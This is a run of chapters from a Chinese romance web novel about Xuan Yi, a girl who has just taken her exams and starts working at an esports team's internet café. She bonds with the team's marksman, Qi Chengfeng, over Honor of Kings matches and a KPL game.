无论是在困意绵绵的清晨未散尽的薄雾下,还是分别时隐约的阳光下,又或是现在昏暗的停车库里,这个颜色的特别很难让宣依忘却。 “你的车。”她没带疑问地抬手指向了那辆车。 “啊?”齐呈枫万万没想到会按到车钥匙,“对。” “那你还准备往前走?” 毕竟他们已经路过车位一段距离了,而宣依全程只是跟在齐呈枫身后的,如果不是刚才响起的鸣笛她大概不会发现这辆车的存在。 “太黑了,有点迷路。” 他没有半分怯色,若不是宣依身处于此,大概会信了他所谓“迷路”的借口。但宣依向来不喜欢多问,她不在意便也就作罢继续刺探。 绕到车后,齐呈枫抬手将行李箱搬了出来,自然地拖在了身旁,捞出车钥匙又锁了车:“走吧,我带你去宿舍。” 宣依的手在行李箱前顿了顿,跟在了他身后:“你们平常一天训练多久?” 齐呈枫看了眼她。 她表情平淡,昏暗光线下也没有更多的情绪了:“这才是正常的聊天。” “行,”他笑,“得看情况,比赛前可能训练力度会大一点,没比赛的时候有时候是复盘,有时候也会一起打打娱乐什么的。” 一路走出停车库,齐呈枫拖着行李箱,宣依跟在后面煞有其事地点头:“那还挺充实。” “想不想体验一下?” “什么?” “这样的生活。” 宣依沉默了许久,齐呈枫都扭头看向她了,她依旧低着头沉默着。 良久,踏入楼道时,宣依才开了口:“那样的生活是不是充实到没时间去想其他的事。” 缩下拉杆,齐呈枫一手拎起了行李箱:“倒不至于……” 话未落,宣依抬手附在了行李箱的提手上。 毕竟只有这么一小块的提手,与其说附在了提手上,不如说附在了齐呈枫的手背上。 两股温热触碰,齐呈枫还紧紧握着提手,他们本就有着两个头的身高差,现在齐呈枫还比宣依高一阶台阶,宣依附上来的手都是仰着的。 “我自己忘记了,不应该麻烦你。” 还挺记仇。 齐呈枫笑着撤了手,将行李箱给了宣依。 行李箱的重量落入宣依手中时,她明显一顿又若无其事地迈步楼梯,就连握着扶手的力道也是重的:“几楼?” 齐呈枫走到楼梯拐角,靠在扶手上看向她,笑着回答:“六楼。” “啊?”宣依吃力地皱了眉头,继续抬腿往上。 “骗你的,到了。”齐呈枫往下踏了两阶,伸出手想要去接行李箱。 熟悉的温热再次蔓延开——宣依握着扶手的手落在了他的手掌,紧紧收力,另一只手还提着行李箱,防止磕碰必须要让其与地面有一段距离。 等她迈上最后一阶,才抬头看向齐呈枫。 拖行李比提可轻松多了,宣依皱着的眉头从行李箱落地那一刻便舒展开。 宿舍是小规模的公寓,但说小也不小。很空旷,除了两张上下床什么也没有,就连桌椅柜子都没有。 显得空旷还有一个原因,层高很高。 宣依刚才提着行李箱的时候就在思考,什么样的房间楼梯这么长。 17阶,宣依边爬还边数了一遍。 “柜子,桌子这些晚上程舟他们会帮你们搬来,饮水机一层一个,没水了就让他们帮忙装,”齐呈枫靠在门边,将入户处留给了宣依,“然后卫生间的浴霸和花洒都还没装,最迟明晚,所以今晚洗不了澡。” 宣依踏入房间,将行李箱随便放在了墙沿并没过多观望便扭了头:“你们也住这儿?” “朝阳就这么大,总不可能一栋楼都是他的吧。”齐呈枫挺身将支撑点从门框撤回,看向宣依。 cháo? 宣依有些疑惑:“不是zhāo阳嘛?” “都对,但是我们老板呢让我们这么读,都习惯了。”齐呈枫从兜里拿出钥匙摊开了手,“钥匙一共三把,你俩一人一把,还有一把留网吧里,以防忘带。” - 如他们所言,宣依回到网咖时比早上还安静,几个男生零散靠在座椅上,坐姿慵懒,程舟和秦珠都坐在前台里正写着什么。 宣依靠向前台往里看:“这是什么?” “排班表啊。”程舟抬眼看了下,“之前都是我们几个轮流值夜,现在你们来了,就你俩排咯。” “她俩系统都没学完吧?过两天再排呗。”齐呈枫也靠过来。 “那不行!”坐在一旁的郑晨站起身反驳,但支支吾吾了一会儿才开口解释,“我们值班又没工资拿,她俩本来就是来工作的,而且平时都没人也没必要全会吧。” 齐呈枫没搭理他,看了下值班表的安排。 程舟刚才已经问过秦珠了,她很随意,但今天要搬行李所以今天值不 7. 这是第七章 《这个辅助有点野》全本免费阅读 深夜,他们都散了,店内来了几个买了两三个小时的顾客,总算是有了几份网吧样。 下午补了一觉后,宣依也没什么困意,靠在转椅上摇摆,忽而想起班级群里聊得热火朝天的内容。 聚餐、估分、唱k各类都有。 宣依坐直身子,拉着转椅往电脑前移了下,缩小了网咖系统。 这还是她第一次看见这台电脑的壁纸。 简单的纯色背景,中间印着一个logo,没什么特别的设计,简单的三角形包裹着CY两个大字母,最下边还有一行字——CY战队,永不言弃! 宣依看着,不自觉念了一遍,兴许是尾字的发音,她念完这行字时嘴角勾起了笑意。 而后才查了试卷答案。 抽过一张纸,开始计算。 来人加时又或点饮品,界面便在答案和系统间切换着。 也越来越深,零星几人也纷纷告别了网咖。 宣依沉头将答案对完后准备计分,才感受到店内的凉意,那条空调被还在身后的椅子上,她抬手撩起被角笼住整个身子,缩了缩手继续计算。 彼时店内其他灯都已暗下,只留吧台与门厅的两盏灯照亮着偌大的网咖。 电脑光线印下,将压在纸上的手肘影子拉长,又在顶灯的照射下显得并不明显。 安静得只剩沙沙的落笔声。 打断这片安静的是忽而一瞬的亮光,网咖朝商业街的一侧是一整面的玻璃,以至于雷亮起的那一瞬整个网咖都亮了起来仿佛进入了白昼。 在暗下那一瞬,宣依甚至没来得及反应就被“轰轰——”一阵雷声震得颤抖。 她不怕打雷,只是太过突然。 抬头时,外面已经落下了倾盆大雨,不需要透过光线就能明确的一场大雨。 来势汹汹。 宣依往身后的杂物间走,断了前台外所有的电源,又拿着手机挨个检查门窗。 这是她第一次踏进包间,原以为会是高配置的电脑和电竞椅,但这些都没有。 手机灯光下,这间房间很空荡,最先入眼的是对面墙上挂着的投影幕布,还有张大方桌,很凌乱地摆了些文件纸张什么的。 没多留意便将灯光拉向另一侧的玻璃窗,窗户关着的,宣依刚准备迈步离开却发现这片光源的边缘沿着沙发处有一块黑影。 随着窗外一道电闪雷鸣,那处的身影短暂却完整地冲入瞳孔。她的手颤抖,手机摔在了地上。 灯光颤抖最后迎向天花板,将整个房间匀亮。 沙发处落地的脚跟移动,宣依慌忙错开视线,催眠着自己闭上眼蹲下身去捡手机。 最后离开前一眼,她的目光还是不受控地往沙发处看去。 来自人类的好奇心,恐惧都抑制不住。 但视野落到沙发上松懒的发型上时,恐惧感一瞬褪去。 是因为熟悉了吗? 宣依短暂思考了一瞬,为什么看见这熟悉的身影便淡定了——退却恐惧的一刻更多的是一种莫名的安心。 齐呈枫靠在另一头的沙发靠枕上,头发凌乱,垂着眼皮,没有表情显得生人勿近,一只脚搭在沙发上,一只脚松散搭在地面。 得亏这个沙发够长,让他躬腰便能整个人躺在上面,但看着这样倚睡的姿势很是不自在。 第三道雷鸣打响时,他才有了动静抬手揉了下眼眶,手在沙发边摸索着握住了手机。 宣依就站在门边下意识盖住了手机的光芒,有些晃神。 她想,大概是今天在他身后跟多了,竟觉得他的身影是带着“安全感”的。 寂静里,多出一个人的呼吸太容易被察觉,齐呈枫点亮手机屏幕坐起身的一刻便发现了宣依的存在……夜色雨声里,只有微弱光芒勾勒着她的身影,看不见身上任何颜色,更看不见表情。 “宣依……你怎么进来了。” 他兴许是在问,但语气太过平淡。 宣依捂着手电筒的手冒出了细汗,她才恍惚松开,却没回答他反而问道:“你为什么还在这儿?” 两边都沉默下来,只剩屋外淅淅哗哗很不规律的雨声未止。 既无人回答,宣依也便无所谓地转身出了包间。 身后的脚步也轻慢跟上:“你睡会儿?” 屋外雷雨交加,宣依都算不值这个夜大概也很难入眠,她看向玻璃窗外的大雨:“不困。” 一整面的落地窗,那样磅礴的雨势就在眼前。 坐回前台,宣依戴上了配备的电竞耳机,没接线,只是将外界的雨声隔绝,沉头继续计算着分数。 已经笼统记了一下最高分,现在提笔记的是记忆模糊的答案算下来的最低分。 齐呈枫凑了过来,轻描淡写地念道:“数学92。” “满分150吧。” 耳机里没有流动的音乐,较远的那些噪音或多或少都被隔绝了,但他的声音太近,以至于每一个字都很清晰。 宣依扯下耳机扭头,什么也没说只是皱着眉,额间拧着小八,就这么看着齐呈枫。 他肯定察觉到了视线,可他就是没抬头,继续扫着纸张上凌乱的内容:“按这个分数算,浔理应该没问题。” 海浔理工大学,宣依之前翻《高考指南》的时候有圈过这所院校,但是当时只是粗略看了一遍,分数线什么的已经模糊了。 闻声,宣依又低头去看分数,杂乱一通,她视线搜索了一会儿才找到了起初计算的总分,“你不是没读了吗?” “嗯,可以这样说,但……算了,反正确实如此。” “那你的预测能准吗?” 齐呈枫抬手勾过电脑旁的笔筒,抽了一支笔出来,在她凌乱的数字堆里落笔:“数学估分一般是最接近的,但你这最高和最低之间差了27分,重新再对一遍…” 笔尖草草划过一个27,又寻了处空白继续:“语文分最飘忽不定,暂且择个中间值。” 然后又划过一个97。 但一下又一道杠叉掉了这个数字:“等等,你给你作文估的多少?” “最高54,最低40。”宣依认真答道。 估个分,数学差27,语文光作文差14……这估分估得挺保守。 “相差这么大?这么保守?”齐呈枫摇了摇头没等她的回答,“这次作文围绕‘怎么做’,‘成为什么样的人’来写,你写的是哪个角度?” 宣依沉默了很久,齐呈枫见没人回答便扭头看向了她。 灯光略显昏暗,碎发别在耳后,马尾经过一天有些松散,低着头,黑色瞳孔没有焦点般落在 8. 这是第八章 《这个辅助有点野》全本免费阅读 训练室内开了暖气,齐呈枫睡得可没昨天那么规矩了,脚搭在了桌子上,手肘被当成枕头,身上盖了件外套。 宣依忽而不知道自己进来干嘛,转身又准备出训练室,却依稀听见了对话声。 地上的iPad正播放着游戏画面,宣依蹲下身捡起。 画面正播放着女娲使用三技能往下路参团,本来锁定于团战后排的位置,但三秒间双方的拉扯,女娲落地时正好处于一群人中央的位置。 “BTG这边辅助已经掉了,三残血和五人纠缠,兰陵王绕后切马克,马克往回拉扯进入防御塔,中路女娲一个三技能锁定落地赶来支援。”解说的嘴快速跟随着游戏画面讲解。 但落点与后排的位置,在几秒间拉扯落入团战中间,对面五人在蔡文姬的加持下,状态优胜。 紧接着映入眼帘的一幕让宣依挑起了眉觉得有意思——女娲拉着闪现与之隔开一段距离,二技能格挡在中间的一瞬拉着一四技能往人群中一放。 原本如火如荼的团战,对面瞬间损失三名英雄,还打出了一个复活甲。 残血的马克往后拉了下走位,一技能连穿两个人拿下一波无损团灭。 简单几秒的内容勾起了宣依的兴趣。 她拉过一张小凳子坐下,捧着平板看完了整把对局。 惊叹于他们指尖的反应速度,惊叹于解说口述的流动速度,惊叹于这精彩的对局。 她一步步看着水晶炸裂,视频结束播放回弹至封面页。 屏幕上,醒目的标题印在两支战队中间——“BTGvs百尚荣光”。 BTG,好熟悉的战队名。 齐呈枫翻身的动作打断了宣依的思绪,她抬眼看去,有些炸毛的刘海下,他睡眼朦胧与她对视上,猛的坐起身:“早。” “嗯,”宣依丝毫没有胆怯,盖回平板翻盖放回了桌上,往门边走了两步又回头看向他,“谢谢。” “嗯。” _ 今天轮到秦珠值班,由于网咖内少有的兴旺业绩,她只能在前台守着了,而齐呈枫兴许是起了个早打点网咖生意,训练结束后他又倒回了沙发。 以至于同行的一下就少了两人。 “诶,你和呈枫之前是同学吗?” 程舟作为一个团队的气氛活跃剂,自不会让任何一个人处于话题边缘。 宣依其实并不在意他们聊什么又或是自己有没有被他们忽略,如果不是说这句话时程舟还有意往她的方向靠,这句话大概会和他们讨论的一系列话语一样被宣依屏蔽。 她答:“不是。” “那你们到底认不认识啊?” “认识。” “可呈枫也没什么其他地方社交了吧,你俩咋认识的啊?” 怎么认识的? 宣依并不想回答。 这是一段很旧的记忆,其实她已经记不清了。 大概是一年冬天的收尾,海浔的冬天很冷,寒风锥骨的冷,破旧的小茅房里章文华出现,将她从哪儿带走,来到了这种满是高楼大厦的城市,来到了“湖悦山墅”。 总之,那是她“寄人篱下”生活开始的一个冬天。 小时候的她谦逊懂礼,长得又乖巧可人,进屋时被齐先生齐夫人还有几位阿姨围着,眼睛就眨巴眨巴看看那些人慈爱的微笑又四处张望。 好大的房子,没有蜘蛛网攀爬的墙壁,没有露着缝隙的屋檐,地面连个坑洼都看不见,好漂亮。 后来这座漂亮的别墅成了她长大的地方。 大概也是在那天,她认识了齐溪和齐呈枫——两个从小就在这漂亮房子里成长的孩子。 两个人放学回来,看着家里出现的陌生人友好地打招呼,把她拉入他们的游戏里,再后来宣依也去了他们那所小学。 一起上学放学的日子里,三人建立起来的熟络是不得不的趋向。 再回首,宣依已经忘记了那个不得不里的故事,只记得她过得并不是很快乐。 程舟看着宣依淡漠的神色料到了她不想开口,有些失望地瘪了嘴:“这不能说嘛?” 宣依没回答,默认了程舟的猜测。 他也作罢地和郑晨他们又聊起了其他。 昨晚一场暴雨后,路面湿哒哒的,宣依又落于队末,沉头看着脚踏入一方水洼,浅浅的水洼绕着这忽而降下的鞋底掀起一圈圈涟漪。 一步又一步,冷空气席卷在身侧,圈圈涟漪荡开。 他们进店后便在老位置坐下,一天的时间说长也不长,但所有人都知道了宣依冷淡的性子,坐下后便没人再找她搭话。 “舟,厨师今天有事要晚点来,你看你们换家店吃还是坐这儿等?”店里员工迎来。 “多久啊?” “差不多半个小时后才过来。” “那半个小时开一把游戏呗。”程舟无所谓地笑着。 员工点头往里间走,过了好一会儿他们加载进了游戏正组房间,程舟才恍惚地看向宣依:“你昨晚值班,现在困吗?” 摇头。 宣依感觉那么忙碌的网咖,她却什么都没做,虽然昨晚是靠在桌上睡的,但睡得还算安稳。 “那你现在饿吗?” 摇头。 吃了早饭,还不至于这么快就饿。 “要不要和我们打一把游戏?刚好呈枫不在。” 这句话是郑晨说的。 其余人闻言看向他的目光都有些狐疑。 听到游戏这两个字时,宣依脑海里不自觉浮现了女娲闪现连招的操作,也不自觉地说了句“可以”。 程舟刷新了一下附近的名单,最顶上是一个总觉得熟悉的名字,但想着毕竟是附近便没在意,可始终没有其他人的名称再出现:“你是哪一个啊?” 宣依还没来得及回答,界面就弹出了郑晨的邀请。 定位系统的距离总是凌乱的,那个距离十一米的“来壶桂花酿”出现在房间的时候,程舟以为不小心拉错了,下一秒就踢了。 踢出去之后才发现那个邀请键还亮着。 不远处,桌子的另一侧,所谓的距离十一米处,宣依冷冷地回答:“刚才被踢的那个。” 紧接着又弹来邀请弹窗:“sorry,sorry。” 他们没有用职业号,名字取得五花八门。 正准备开的时候,魏晟说:“诶,枫哥在线诶,还开了。” 宣依没怎么在意,她的号很老了,加的人也少,但好友列表里还有一个亮着的名字,一个英文。 还没来得及仔细看清,就匹配成功了。 凌一鸣在一楼:“你玩什么位置?” 宣依很清楚,这样的团队,不需要这样的问句,这句话是问她的:“随便。” “那你打辅助吧。”郑晨说。 “可以。” 玩的同城联赛,宣依上瘾的时候好像没这模式,反正这是她第一次玩。 宣依看着对面选定了辅助和中单后,在辅助池里预选了东皇后请求帮抢。 她随便扫了眼剩下的阵容,花里胡哨的名字有些对不上人物,但按着他们本来的阵容,现在补上齐呈枫射手位的就是郑晨了。 原来不服于当辅助吗? 宣依不参与人情世故,却也看得透彻,郑晨在这支队伍里所扮演的角色就像是电视剧里总出现的跑龙套,台词很多却并不是什么重要的人物,他的性格底色很模糊却又格外显而易见。 想要被众人看见。 正常一个辅助开局应该干嘛? 帮中路抢线?干扰敌方打野?又或是与射手连体? 宣依是一样也没选,她只有个一技能,出门一个,路过野区一个,两个球环绕着她往魏晟的方向走。 “昂?”魏晟的八戒有些懵地看着东皇的出现。 有些懵地拿下二级线。 “安琪拉,上来帮个忙。”宣依清完线绕着防御塔转了一圈才蹲进了草丛。 “叫舟哥。”程舟一个一米八的男子汉大丈夫被叫安琪拉是又气又想笑。 她拉着拉杆往上,了然地绕过防御塔往草丛去。 第二波兵线的时候,郑晨已经残了,拉着一技能清掉兵线后进防御塔回城,顺便看了下宣依在干嘛。 大概是受单挑的缘故,他被对面辅助射手压在塔下打的时候是一点都不敢怪宣 9. 这是第九章 《这个辅助有点野》全本免费阅读 气氛平常得过于诡异,凌一鸣让宣依回去休息,他把饭带去网咖。 多么好的一个机会,逃脱这种诡异。 但宣依那习惯性的拒绝已经说出口了:“不用,我自己送。” 路上,几个人热火朝天地聊着昨天季前赛的战局,似乎早将刚才的矛盾抛之脑后了。 他们的形容让宣依觉得这场比赛过于乏味,一只耳进一只耳出,偶然几个关键词的触发让宣依怀疑他们在讨论的是平板上那场。 她打断了对话:“BTG对荣光吗?” “对啊,你也看了?”程舟又兴致冲冲迎过来,“BTG可是今年夺冠热门,昨天的直播都有五万多人。” 宣依丝毫没有被程舟激昂的语调打动,瞥了一眼后语气平淡:“那你们呢?” “啊?” “你们战队不需要比赛吗?”宣依难得有耐心地将表达更详细了一番,兴许是她看完早上的对局后对电竞燃起的那三分钟热情催促。 就单论她和他们一起打的这一把,其实能看出来他们的意识是到位的,宣依做的每一件事不需要语言沟通,他们也能心领神会地跟上来打节奏。 但这把的节奏真的是宣依带的吗? 并不是…… 不知是私人矛盾还是为何,第二波团战的时候魏晟大招还在,其实可以保下郑晨的,可他自己从野区绕回了上路清兵线,什么也没做。 他没看见吗? 有可能,但太微乎其微了。 魏晟落座在宣依的旁边,那一刻宣依死在团战里,当她拉小地图看到这一幕的时候她扭头看过魏晟的界面,恰巧刚从郑晨的位置放开。 所以,宣依因为些小恩怨逗郑晨的时候,他们几个也在心照不宣地配合——也许是前往支援时顺带连他发育的小兵也不放过,可却不愿帮他点一下塔;也许是团战时没人为他的输出环境抗伤害。 好像并不是什么了不得的大过,可在一次次诸如此的累积中,每条路的胜负姿态都被强有力地展现在了眼前。 又如最后一波守水晶当真守不下来吗? 并非如此,宣依留着大招没用,程舟也是。 他说,没必要劝架。 宣依便理所当然地让这场争吵终止于水晶炸裂。 表面上看,确实是宣依主导着局势,可他们每个人都配合了。 所以他们队伍究竟有怎样的实力,宣依无从得知。 “我们比赛还有阵子呢,”程舟皱着眉思索了好一会儿才得到了答案,“月底吧,月底才到常规赛。” “那现在是什么赛?” 宣依对KPL的略有耳闻来源于从前偶尔登上王者时会弹出的直播提醒。更多的,她无暇了解。 “季前赛,”凌一鸣淡淡回答,仿佛知道宣依的所有疑惑便一次性解答了,“季前赛是用来给常规赛分组的,我们战队是新加入的,会自动分到末组。” 宣依了然地点头。 雨过天晴的午后,她微微凌乱的碎发摇曳在微风里,目光带着天生的温和,下半张脸点头后便埋在了灰墨色的围巾里。 她从小怕冷,入了春也将自己裹得严实。 “宣姐,要不要考虑来当我们陪练啊?”程舟看着她温顺的面孔将她难相处的形象抛之脑后。 可她另辟蹊径:“你多大?” “昂?” “今年一月刚满的20。” “嗯,舟哥。” 宣依的声线很特别,缱绻旖旎中带着一丝磁性的慵懒,既不违和于她娇软无辜的羔羊形象也不显得她那淡漠拒人千里突兀。 就这一声“哥”叫得程舟心一软。 下一秒她又冰冷地继续道:“没兴趣。” 前后一刹,程舟还没来得及笑就被这句话硬生生将嘴角拉了下去。 听见噗呲一声后,几个男生相继笑了起来。 一脸淡然的宣依在笑声中略显突兀,不自觉加快了步伐走进网咖,在维修工高效率的工作下一大批上班族已经从网咖离开,只留零星几个还有吃着泡面的。 宣依只扫了一眼,便往前台走,勾在食指中指上的打包盒稳稳落在前台上。 宣依与秦珠对视上。 两个打包盒,一个在招财猫旁边,塑料袋还勾在宣依指尖,朴素的透明盒里装着各种各样的菜,最下面铺了三指厚的白米饭。 另一个在秦珠双臂前,垂悬的筷子下放着一个长方形的打包盒,饭菜分离,带着浓烈的外卖气息却也香味诱人。 秦珠一愣:“啊?你还给我带了啊?” 勾在塑料袋上的手又往上提,转身:“他们给齐呈枫打包的。” 哪怕是在朋友面前,宣依也不愿被看穿又说破。 那仿佛是她独有的保护机制 换作平日,秦珠肯定会了然地顺从她意,可这个借口找得太过突兀:“可是,我的外卖都是他点的诶。” 气氛一沉,秦珠仰着头看向与她隔着一个柜台的宣依,指尖的筷子都不敢颤动一下。 顷刻,宣依平淡如常的声音从头顶传来:“吃他的还是我的。” 秦珠笑笑,搁下筷子将双手往那份打包的饭伸,斩钉截铁:“当然是你的!” “外卖哪有现做的香!” 说着她往嘴里喂了一口后做作地摇了摇头:“不愧是我们依依带的,就是香!” 宣依低头,抑不住扬了下嘴角,转瞬即逝间又被压了回去,绕进了前台坐下。 就昨天那弯弯绕绕的趋势,再加之宣依走路时总喜欢盯着脚下的路,其实并没记住回住宿的路。与其走在外面恍惚,宣依了断选择了扯个陪秦珠的借口留在了前台。 她并不困,毕竟昨晚睡得还算安逸。但也没有昨天那么勤奋争在秦珠之前去送东西,她靠在椅子上点进了相册。 最近的那张照片——昏暗的灯光下,白纸凌乱地标着各种数字,大多字迹圆钝,像个刚学会写字而一笔一画描绘的小孩,中间穿插着潦草张扬的数字。 两种极端的字体碰撞在一起。 如果是浔理,那得要多少钱…… 她划过屏幕跳转进百度,加载页面刷新了一会儿主页推送了各种各样的文章和视频。 手指准备点向搜索框时却忽而顿住。 那些内容扑入眼的速度太快,经过大脑一通筛选最后给出的反应便是停住手上的动作,让她看清那则视频的标题。 《BTG又杀回来了》 这个战队名近期太多次环绕在身边,宣依鬼使 10. 这是第十章 《这个辅助有点野》全本免费阅读 落了一场大雨后,天气越发晴朗,网咖的生意又回归了惨淡的从前。 宣依是从他们吃饭时零散的对话里得知他们战队是去年刚重组的,至于其他更多的内容,兴许是太过零散,她拼凑不出来更多信息。 18号这天,齐呈枫他们直接关了网咖。 安诚街距离海浔电竞会场不算远,几个人便聊着天,朝地铁站走。 秦珠高一那年,为了更好地融入宣依的生活也去玩过这游戏,大概摸索明白了游戏后便自告奋勇和宣依玩了几把。 再后来宣依说要学习没玩了之后,她就只偶尔玩两把,还认识了个厉害的网友:“但是后来不是高三了嘛,我就没玩了,他还隔三差五就来问我呢。” “嗯。” “说起来,依依你那么厉害,是不是有很多来加你的人啊?”秦珠挽着宣依的手。 “没有。” 一开始她好友申请很多,看着也烦,一次清空后便关了添加好友的设置。 “昂,你玩这么久连个网友都没有啊?” 宣依思考了一会儿:“也许有一个。” “但太久没玩了,他可能早退游了。” 秦珠听“没有”的时候心情还平淡,一听到“有”瞬间急了,摇了摇宣依的手便问:“什么时候啊,你不是除了我就齐溪姐吗?” 到底是习惯了秦珠偶尔的情绪激动,宣依很平淡地作势要从她的臂弯里抽手,秦珠就会立刻止住自己的动作。 “好久之前了,高一暑假吧,上了个五排车队。” “就这么容易!”秦珠怒。 宣依忽视她拔高的调子,平淡解释:“对面的,不是我方。” “那很厉害咯?” “嗯,还不赖。” 她认可了。 秦珠觉得话题能进行到这个地步已然结束,自顾自说道:“那他肯定还是不如我那位大佬……” “后来,他还和我打过很多次,我用的学习方法也是他教我的。” 第一次,宣依用这么多字去讲一个人。 那个叫做“栖枫”的人。 秦珠反而不知如何继续话题,可身后的齐呈枫却忽而插入话题:“或许别人只是换了个名字。” “齐大少爷,随便听别人讲话挺没礼貌的。”宣依扭头瞥了眼便加快了步子。 分开一段距离后,秦珠才附言:“对呀,你都不给人备注的,换名字没认出来挺正常的吧。” 似是思索,宣依沉了声,一直踏入地铁站。 错开了高峰期,地铁站格外冷清,几个男生把候车椅的位置让给了两个女生。 宣依也毫不推辞地坐下。 秦珠靠在了她的肩上,看着她点进了游戏:“你现在要玩?” “不太信。” “什么?” “你的那位大佬比他强。”宣依直径点进战绩查询,“如果他没退游的话,可以让他和你那位大佬单挑一把。” 有些庆幸,她这两天玩的场次不多,还没将过去的那些战绩掩埋,而恰巧从认识他后再到退游,几乎每一把都有他。 宣依滑着战绩页面,锁定了去年1月21日那天唯一的一把对局。 晚上十一点多打的。 已经过去一年多了……那是高二那年的寒假,她已经退游半年了,可那晚她情绪上头,来回滑动着Q.Q和微信的聊天页面最后也找不到一个宣泄口,夜里十点的时候她拉起枕头坐了起来点进了游戏。 她的好友本就不多,深夜里亮着的只有一个熟悉的“栖枫”。 可他的对局已经开了,宣依就点进去观战。 看着他游刃有余的技术,宣依晃了神地思索:他们互不相识,向他倾诉是不是最好的选择…… 等到他游戏结束时,宣依便邀请他进入房间,寒冷的夜晚她的指尖冰凉,在输入法上敲击着一个个字母,那些文字就像开关般让她的眼泪不自觉便滑落了。 她发送一条,眼前已经模糊了,又继续输入下一条。 直到全部发送,她才停下来。 对面隔了一会儿弹出了消息。 好几条连蹦出来,仿佛一句又一句地安慰宣依。 隔着屏幕,却像是扑进了一个温暖的怀抱。 宣依点进战绩详情,看见他的名字就像是与一位旧友久别重逢。 那把输了,却是她最开心的一把。 13-5-23的妲己以及17-7-16的安琪拉。 她只记得那把他俩也不顾对面又或是己方的吐槽就一直黏在一起输出,持续了半个多小时,哪怕最后输了也是场难忘的快乐局。 而那个名字弹进主页后已经变了。 左侧挂着王昭君的凤凰于飞,右侧的昵称已经变成了一个英文名——Archer。 “女生啊?”秦珠看着主页的英雄,先入为主。 “男生。”主页昵称前还挂着性别标识,而再之前他们也曾连麦打过游戏。 此时宣依脑海里在思索的是:这名字怎么这么熟悉。 - 到了会场外才感受到区别于地铁站的热闹,有不少粉丝抱着灯牌等候入场,很多已经有了固定团体的人正议论纷纷。 宣依遥遥看去,就被阵仗唬到,说是小型的演唱会不为过。 “我们往这边走。”凌一鸣走在最前面带头往另一边的入口走。 这是专门为比赛战队设置的入口,分外安静。 场馆内来往着工作人员,还有几支不参赛的战队成员也选定了位置坐着。 毕竟是去年秋季赛从败者组一路杀出来的冠军,战绩斐然,自然有很多战队对他们虎视眈眈。 但视角绝佳的位置还有很多,凌一鸣指了个方向:“你们去那儿先坐着,我去拿几瓶水。” 他所指的方向恰在秦珠身后,她一下从队末变成了队首,带领着他们往座位走。 秦珠走到那一列的尽头坐下,宣依便落座在她身旁。 身旁又降下黑影,齐呈枫坐下后靠在了椅背上,翻看手机。 宣依下意识看了他一眼才收回视线。 眼前只有工作人员在忙碌,场馆内还是一片昏暗,而她向来是个没什么耐心的人:“还有多久啊?” “比赛开始还有四十来分钟吧,但不会无聊那么久的。”齐呈枫轻声回答。 宣依闭眼往椅背倒:“确实,睡个觉就开始了。” 啊? 他其实想说待会观众入场后会有一些小活动再加上导播主持人的一番讨论讲话,其实没那么久。 但看着宣依淡然倒在椅背上,说这些的意义也没了。 毕竟那些活动也只是无聊的消遣时间,宣依也不会有兴趣。 没过多久场馆变得热闹,宣依睁开眼扭头去看那些乌泱泱从正门挤进来的观众,此时场馆的灯光已经亮起,但她们手中那些灯牌还是格外显眼。 耳边响起主持人通过耳麦震荡于场馆内的气音。台上角落的主持人正趁着场馆内人群四散,试着耳麦声音。 宣依收回了视线,从口袋里捞出手机看了下时间。 < 11. 这是第十一章 《这个辅助有点野》全本免费阅读 在这个插曲的穿插中,时间恍惚到了比赛前五分钟。 首发队登台亮相,秦珠靠了过来:“那个队员有点小帅诶。” 宣依顺着秦珠仰头的方向看去,然后皱了眉回头看秦珠:“你审美降级了?” 秦珠眯着眼睛确认了一番:“没有吧,我感觉确实还不错啊。” 宣依只能摇摇头,坐正了身子等比赛开始。 季前赛采用三局两胜制,全局BP,即各战队每个英雄仅可使用一次,双方互不影响。 关于规则,宣依在空闲时间已经大致了解过。 两支战队分别入座,开始ban一轮英雄。 他们就像是战场上交过手的敌人,深知对方的弱点与强势,这个环节远没有倒计时跳动得那么慢,短短几秒就轮到选英雄。 由BTG先选英雄,既有优势亦有劣势。 宣依看着确认下来的第一个英雄,往齐呈枫的方向微微偏了些:“这是谁?” 齐呈枫不可置信偏头看她认真地提问样,忍不住噗嗤一声笑了出来:“司空震。” “法师型战士,前段时间新上线的。”他补充介绍。 宣依忽视他的笑了然地再次坐正身子,结果头还没撤回去多久又偏了过来。 齐呈枫心领神会:“云缨,战士类刺客,上线有段时间了。” 看着下一个确认下来的英雄,齐呈枫又开口继续:“澜。” “我知道,打野英雄。”宣依看见这个英雄出现在BTG的阵营后嘴角上扬。 她喜欢一样东西表现得太过明显,齐呈枫了然点头,昏暗的台下他看向她聚精会神的模样也扬起了唇角。 “虽然这几个新英雄我不是很了解,但BTG的阵容是不是有点不太合理啊。” 他们的阵容法师外加一个辅助都是法伤,再加上那个法师型战士,三个法伤凑在了一个队伍里,这是KPL会出现的阵容? “原来也不是那么内向嘛。”齐呈枫轻声感叹。 “嗯?” “为这支队伍担心是最多余的事情,”齐呈枫示意宣依往后排的观战区看,“你觉得他们粉丝多的原因仅仅只是实力?” “从19年他们这支队伍集齐眼前这群人,出现在KPL的赛场上一直到现在,他们三分悠闲的打法已经广为人知,这个阵容出来只能说明,他们准备19分钟内解决比赛。” “在风暴龙王刷新前解决?” “你还记这个时间?” 其实,宣依并没有刻意去记过这些野怪龙王的刷新,就好像只是玩多了,瞟一眼时间就知道了的事情,太过顺其自然。 齐呈枫也不需要等宣依的回答:“差不多这个意思,反正这是他们特制的下马威。” 宣依觉得越发有意思,看着比赛开始。 BTG的上下路从一开始直接换了线走,新赛季一个更新便是上路有了传送阵,方便了总单打独斗的上单进行支援,可BTG选择了让射手走这条路。 演播厅已经见怪不怪地解说:“BTG再次开局换路发育,Wolf这边走到高地后也进行了换路,果然是交战多,已经有了默契。” “澜这边选择了红开,作为新版本的强势英雄,前面几场比赛澜的禁用率高达55%,但这场居然在第一局就看见了澜。” 大屏幕随着导播的框选放大着,前期的峡谷一片风平浪静,场馆内也只有唏嘘的讨论声。 秦珠靠在宣依肩膀,从兜里捞出两根棒棒糖,撕开包装递到了宣依嘴边:“无聊啊。” 宣依张嘴,舌尖抵过棒棒糖将它含在一旁,视线专注在屏幕上。 画面移动到了Wolf的红区,云缨选择了蓝开,而BTG这边弈星请完线后给了个往下路去的假视野后,折返两颗棋子碰撞刚好收下云缨已经打残的三只猪。 “云缨这边往前追,但已经没什么用了,弈星已经退回了视野盲区,那少了三只野猪的经济,云缨还得支援晚。” 上路的狄仁杰和李元芳已经打起来了,澜也从野区过来,蹲在草丛伺机而动。 